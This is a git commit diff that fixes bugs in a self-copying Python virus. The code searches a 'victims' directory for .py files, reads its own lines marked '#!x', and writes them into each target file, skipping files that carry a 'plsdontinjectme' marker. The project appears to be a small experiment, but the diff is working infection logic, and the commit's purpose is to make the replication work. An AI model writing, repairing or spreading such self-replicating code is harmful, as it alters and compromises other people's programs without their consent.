Fix bug in self copying code

This commit is contained in:
id101010
2019-10-11 14:01:25 +02:00
parent e709dcbddb
commit cbdfbb274c

View File

@@ -11,7 +11,8 @@ cmd = 'find ./victims -name "*.py" -print' #!x
keyword = 'plsdontinjectme' #!x keyword = 'plsdontinjectme' #!x
# for each file that matches the search command # for each file that matches the search command
for snippet in os.popen(cmd).readlines()l: #!x for snippet in os.popen(cmd).readlines(): #!x
print(snippet)
# strip newlines # strip newlines
snippet = snippet[:-1] #!x snippet = snippet[:-1] #!x
try: #!x try: #!x
@@ -31,8 +32,8 @@ for snippet in os.popen(cmd).readlines()l: #!x
if("#!x") in line: #!x if("#!x") in line: #!x
# close the code file # close the code file
code.close() #!x code.close() #!x
# save the content # cast the line containing code
insert=(code) #!x insert=(line) #!x
# insert the code into the victim file # insert the code into the victim file
victim.write(insert) #!x victim.write(insert) #!x
# poor mans error handling # poor mans error handling